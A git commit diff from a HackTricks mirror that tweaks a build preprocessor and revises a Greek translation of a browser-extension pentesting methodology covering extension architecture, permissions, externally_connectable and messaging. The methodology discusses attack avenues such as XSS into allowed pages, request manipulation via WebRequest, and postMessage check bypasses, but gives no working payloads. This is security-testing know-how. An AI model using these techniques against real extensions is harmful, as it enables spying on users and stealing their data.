mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
parent
7cff1ef6cb
commit
bdf683c88c
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
@ -30,14 +30,16 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
else:
|
||||
try:
|
||||
if href.endswith("/"):
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
@ -12,7 +12,7 @@ dht udp "DHT Nodes"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
@ -24,6 +24,6 @@ InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@
|
||||
|
||||
## Κύρια Συστατικά
|
||||
|
||||
Οι διατάξεις των επεκτάσεων φαίνονται καλύτερα όταν απεικονίζονται και αποτελούνται από τρία συστατικά. Ας δούμε κάθε συστατικό σε βάθος.
|
||||
Οι διάταξεις επεκτάσεων φαίνονται καλύτερα όταν απεικονίζονται και αποτελούνται από τρία συστατικά. Ας δούμε κάθε συστατικό σε βάθος.
|
||||
|
||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Σενάρια Περιεχομένου**
|
||||
|
||||
Κάθε σενάριο περιεχομένου έχει άμεση πρόσβαση στο DOM μιας **μοναδικής ιστοσελίδας** και είναι επομένως εκτεθειμένο σε **πιθανώς κακόβουλη είσοδο**. Ωστόσο, το σενάριο περιεχομένου δεν περιέχει άδειες εκτός από την ικανότητα να στέλνει μηνύματα στον πυρήνα της επέκτασης.
|
||||
Κάθε σενάριο περιεχομένου έχει άμεση πρόσβαση στο DOM μιας **μοναδικής ιστοσελίδας** και είναι επομένως εκτεθειμένο σε **πιθανώς κακόβουλη είσοδο**. Ωστόσο, το σενάριο περιεχομένου δεν περιέχει άδειες εκτός από την ικανότητα αποστολής μηνυμάτων στον πυρήνα της επέκτασης.
|
||||
|
||||
### **Πυρήνας Επέκτασης**
|
||||
|
||||
@ -22,14 +22,14 @@
|
||||
|
||||
### **Εγγενής Δυαδικός Κωδικός**
|
||||
|
||||
Η επέκταση επιτρέπει έναν εγγενή δυαδικό κωδικό που μπορεί να **πρόσβαση στη μηχανή φιλοξενίας με πλήρεις άδειες του χρήστη.** Ο εγγενής δυαδικός κωδικός αλληλεπιδρά με τον πυρήνα της επέκτασης μέσω του τυπικού Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλα πρόσθετα περιηγητών.
|
||||
Η επέκταση επιτρέπει έναν εγγενή δυαδικό κωδικό που μπορεί να **πρόσβαση στη μηχανή φιλοξενίας με πλήρεις άδειες του χρήστη.** Ο εγγενής δυαδικός κωδικός αλληλεπιδρά με τον πυρήνα της επέκτασης μέσω του τυπικού Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) που χρησιμοποιείται από το Flash και άλλες προσθήκες περιηγητή.
|
||||
|
||||
### Όρια
|
||||
|
||||
> [!CAUTION]
|
||||
> Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το σενάριο περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στον εγγενή δυαδικό κωδικό.
|
||||
|
||||
Κάθε συστατικό της επέκτασης είναι χωρισμένο το ένα από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα σενάρια περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
|
||||
Κάθε συστατικό της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα σενάρια περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
|
||||
|
||||
Επιπλέον, τα σενάρια περιεχομένου είναι χωρισμένα από τις σχετικές ιστοσελίδες τους **εκτελώντας σε μια ξεχωριστή στοίβα JavaScript**. Το σενάριο περιεχομένου και η ιστοσελίδα έχουν **πρόσβαση στο ίδιο υποκείμενο DOM**, αλλά οι δύο **ποτέ δεν ανταλλάσσουν δείκτες JavaScript**, αποτρέποντας τη διαρροή λειτουργικότητας JavaScript.
|
||||
|
||||
@ -76,9 +76,9 @@
|
||||
}
|
||||
],
|
||||
```
|
||||
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση **`include_globs`** και **`exclude_globs`**.
|
||||
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση των **`include_globs`** και **`exclude_globs`**.
|
||||
|
||||
Αυτό είναι ένα παράδειγμα περιεχομένου script που θα προσθέσει ένα κουμπί εξήγησης στη σελίδα όταν [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από την αποθήκευση της επέκτασης.
|
||||
Αυτό είναι ένα παράδειγμα περιεχομένου script που θα προσθέσει ένα κουμπί εξήγησης στη σελίδα όταν χρησιμοποιείται [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) για να ανακτήσει την τιμή `message` από την αποθήκευση της επέκτασης.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -97,9 +97,9 @@ document.body.appendChild(div)
|
||||
> Ανάλογα με τον περιηγητή, οι δυνατότητες του περιεχομένου του script μπορεί να διαφέρουν ελαφρώς. Για τους περιηγητές που βασίζονται σε Chromium, η λίστα δυνατοτήτων είναι διαθέσιμη στην [τεκμηρίωση Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), και για τον Firefox, το [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) χρησιμεύει ως η κύρια πηγή.\
|
||||
> Είναι επίσης αξιοσημείωτο ότι τα περιεχόμενα scripts έχουν τη δυνατότητα να επικοινωνούν με τα background scripts, επιτρέποντάς τους να εκτελούν ενέργειες και να μεταφέρουν απαντήσεις πίσω.
|
||||
|
||||
Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών του Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I.
|
||||
Για την προβολή και την αποσφαλμάτωση των περιεχομένων scripts στο Chrome, το μενού εργαλείων προγραμματιστών Chrome μπορεί να προσπελαστεί από Επιλογές > Περισσότερα εργαλεία > Εργαλεία προγραμματιστών Ή πατώντας Ctrl + Shift + I.
|
||||
|
||||
Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην **καρτέλα Πηγή**, ακολουθούμενη από την καρτέλα **Content Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης.
|
||||
Αφού εμφανιστούν τα εργαλεία προγραμματιστών, πρέπει να κάνετε κλικ στην **καρτέλα Πηγή**, ακολουθούμενη από την καρτέλα **Περιεχόμενα Scripts**. Αυτό επιτρέπει την παρακολούθηση των εκτελούμενων περιεχομένων scripts από διάφορες επεκτάσεις και την ρύθμιση σημείων διακοπής για την παρακολούθηση της ροής εκτέλεσης.
|
||||
|
||||
### Εισαγόμενα περιεχόμενα scripts
|
||||
|
||||
@ -176,7 +176,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
Οι δυνατές τιμές είναι:
|
||||
|
||||
- **`document_idle`**: Όποτε είναι δυνατόν
|
||||
- **`document_start`**: Μετά από οποιαδήποτε αρχεία από `css`, αλλά πριν από οποιαδήποτε άλλη DOM κατασκευαστεί ή οποιοδήποτε άλλο σενάριο εκτελεστεί.
|
||||
- **`document_start`**: Μετά από οποιαδήποτε αρχεία από `css`, αλλά πριν από οποιαδήποτε άλλη DOM κατασκευαστεί ή οποιοδήποτε άλλο script εκτελεστεί.
|
||||
- **`document_end`**: Άμεσα μετά την ολοκλήρωση της DOM, αλλά πριν από την φόρτωση υποπόρων όπως εικόνες και πλαίσια.
|
||||
|
||||
#### Μέσω `manifest.json`
|
||||
@ -208,18 +208,18 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια λαμβάνονται από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονισμένη λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
|
||||
Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **background page**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονιστική λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η background page παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
|
||||
|
||||
**Βασικά Σημεία**:
|
||||
**Key Points**:
|
||||
|
||||
- **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
|
||||
- **Επιμονή:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
|
||||
- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης.
|
||||
- **Background Page Role:** Δρα ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
|
||||
- **Persistence:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
|
||||
- **Automatic Generation:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια background page. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα background scripts που καθορίζονται στο manifest της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των background tasks της επέκτασης.
|
||||
|
||||
> [!TIP]
|
||||
> Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας σελίδας φόντου (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα σενάρια φόντου είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
|
||||
> Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας background page (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα background scripts είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
|
||||
|
||||
Παράδειγμα σεναρίου φόντου:
|
||||
Example background script:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||
if (request == "explain") {
|
||||
@ -229,28 +229,28 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
```
|
||||
Χρησιμοποιεί το [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) για να ακούει μηνύματα. Όταν ληφθεί ένα μήνυμα `"explain"`, χρησιμοποιεί το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) για να ανοίξει μια σελίδα σε μια νέα καρτέλα.
|
||||
|
||||
Για να αποσφαλματώσετε το background script, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το background script:
|
||||
Για να αποσφαλματώσετε το σενάριο φόντου, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το σενάριο φόντου:
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Σελίδες επιλογών και άλλες
|
||||
### Σελίδες επιλογών και άλλα
|
||||
|
||||
Οι επεκτάσεις προγράμματος περιήγησης μπορούν να περιέχουν διάφορους τύπους σελίδων:
|
||||
|
||||
- **Σελίδες δράσης** εμφανίζονται σε ένα **αναδυόμενο μενού όταν κάνετε κλικ στο εικονίδιο της επέκτασης.**
|
||||
- Σελίδες που η επέκταση θα **φορτώσει σε μια νέα καρτέλα.**
|
||||
- **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο manifest, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
|
||||
- **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο μανιφέστο, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
|
||||
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες φόντου, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα φόντου:
|
||||
|
||||
- **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
|
||||
- **Επικοινωνία με τα Content Scripts:** Παρόμοια με τη σελίδα φόντου, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από τα content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
|
||||
- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
|
||||
**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδείξουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
|
||||
|
||||
Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
|
||||
|
||||
@ -325,8 +325,8 @@ browext-clickjacking.md
|
||||
|
||||
Σύμφωνα με τα [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Η ιδιότητα `"externally_connectable"` του manifest δηλώνει **ποια extensions και ιστοσελίδες μπορούν να συνδεθούν** με την επέκτασή σας μέσω [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) και [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- Αν το κλειδί **`externally_connectable`** **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**.
|
||||
- Αν **καθοριστούν συγκεκριμένα IDs**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
|
||||
- Αν το **`externally_connectable`** κλειδί **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**.
|
||||
- Αν **καθορισμένα IDs αναφέρονται**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
|
||||
- Αν **καθοριστούν matches**, αυτές οι διαδικτυακές εφαρμογές θα μπορούν να συνδεθούν:
|
||||
```json
|
||||
"matches": [
|
||||
@ -342,17 +342,17 @@ browext-clickjacking.md
|
||||
>
|
||||
> Επομένως, αυτή είναι μια **πολύ ισχυρή παράκαμψη**.
|
||||
>
|
||||
> Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να εκμεταλλευτεί τα APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα αλλάζοντας το αίτημα μιας σελίδας για ένα **αρχείο JavaScript**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
> Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να εκμεταλλευτεί τα APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα αλλάζοντας το αίτημα μιας σελίδας για ένα **JavaScript αρχείο**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
|
||||
## Περίληψη επικοινωνίας
|
||||
|
||||
### Επέκταση <--> WebApp
|
||||
|
||||
Για να επικοινωνήσουν το περιεχόμενο script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη λειτουργία **`window.postMessage`** και στο περιεχόμενο script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο, ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script.
|
||||
Για να επικοινωνήσουν το content script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη συνάρτηση **`window.postMessage`** και στο content script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script.
|
||||
|
||||
### Μέσα στην επέκταση
|
||||
|
||||
Συνήθως η λειτουργία **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**.
|
||||
Συνήθως η συνάρτηση **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
Είναι επίσης δυνατό να χρησιμοποιηθεί **`chrome.runtime.connect()`** για να υπάρχει μια μόνιμη σύνδεση αντί να στέλνονται μεμονωμένα μηνύματα, είναι δυνατό να χρησιμοποιηθεί για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
|
||||
|
||||
@ -391,7 +391,7 @@ console.log("Content script received message from background script:", msg)
|
||||
|
||||
Είναι επίσης δυνατό να στείλετε μηνύματα από ένα background script σε ένα content script που βρίσκεται σε μια συγκεκριμένη καρτέλα καλώντας **`chrome.tabs.sendMessage`** όπου θα χρειαστεί να υποδείξετε το **ID της καρτέλας** στην οποία θα στείλετε το μήνυμα.
|
||||
|
||||
### Από επιτρεπόμενο `externally_connectable` στην επέκταση
|
||||
### Από επιτρεπόμενα `externally_connectable` στην επέκταση
|
||||
|
||||
**Web εφαρμογές και εξωτερικές επεκτάσεις προγράμματος περιήγησης που επιτρέπονται** στη ρύθμιση `externally_connectable` μπορούν να στέλνουν αιτήματα χρησιμοποιώντας :
|
||||
```javascript
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## Web **↔︎** Επικοινωνία Σκηνικού Περιεχομένου
|
||||
|
||||
Τα περιβάλλοντα όπου λειτουργούν τα **content scripts** και όπου υπάρχουν οι σελίδες φιλοξενίας είναι **χωρισμένα** το ένα από το άλλο, εξασφαλίζοντας **απομόνωση**. Παρά αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδρούν με το **Document Object Model (DOM)** της σελίδας, έναν κοινόχρηστο πόρο. Για να συμμετάσχει η σελίδα φιλοξενίας στην επικοινωνία με το **content script**, ή έμμεσα με την επέκταση μέσω του content script, απαιτείται να χρησιμοποιήσει το **DOM** που είναι προσβάσιμο και από τις δύο πλευρές ως κανάλι επικοινωνίας.
|
||||
Τα περιβάλλοντα όπου λειτουργούν τα **content scripts** και όπου υπάρχουν οι σελίδες φιλοξενίας είναι **χωρισμένα** το ένα από το άλλο, εξασφαλίζοντας **απομόνωση**. Παρά αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδρούν με το **Document Object Model (DOM)** της σελίδας, μια κοινή πηγή. Για να συμμετάσχει η σελίδα φιλοξενίας στην επικοινωνία με το **content script**, ή έμμεσα με την επέκταση μέσω του content script, απαιτείται να χρησιμοποιήσει το **DOM** που είναι προσβάσιμο και από τις δύο πλευρές ως κανάλι επικοινωνίας.
|
||||
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
@ -458,7 +458,7 @@ false
|
||||
- Αν χρησιμοποιηθεί regex, να είστε πολύ προσεκτικοί
|
||||
- **Source**: `received_message.source !== window` μπορεί να χρησιμοποιηθεί για να ελέγξει αν το μήνυμα ήταν **από το ίδιο παράθυρο** όπου το Content Script ακούει.
|
||||
|
||||
Οι προηγούμενοι έλεγχοι, ακόμα και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην παρακάτω σελίδα **πιθανά bypasses Post Message**:
|
||||
Οι προηγούμενοι έλεγχοι, ακόμη και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην παρακάτω σελίδα **πιθανά bypasses Post Message**:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -486,7 +486,7 @@ browext-xss-example.md
|
||||
|
||||
Ένα Content Script μπορεί να χρησιμοποιήσει τις συναρτήσεις [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ή** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) για να στείλει ένα **μοναδικό JSON-serializable** μήνυμα.
|
||||
|
||||
Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε την επιστρεφόμενη **Promise**. Αν και, για λόγους συμβατότητας, μπορείτε ακόμα να περάσετε μια **callback** ως την τελευταία παράμετρο.
|
||||
Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε την επιστρεφόμενη **Promise**. Αν και, για λόγους συμβατότητας, μπορείτε ακόμα να περάσετε μια **callback** ως τελευταίο επιχείρημα.
|
||||
|
||||
Η αποστολή ενός αιτήματος από ένα **content script** φαίνεται έτσι:
|
||||
```javascript
|
||||
@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **σενάριο παρασκηνίου**). Παράδειγμα για το πώς να στείλετε μήνυμα στο σενάριο περιεχομένου στην επιλεγμένη καρτέλα:
|
||||
Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **σενάριο παρασκηνίου**). Παράδειγμα αποστολής μηνύματος στο σενάριο περιεχομένου στην επιλεγμένη καρτέλα:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
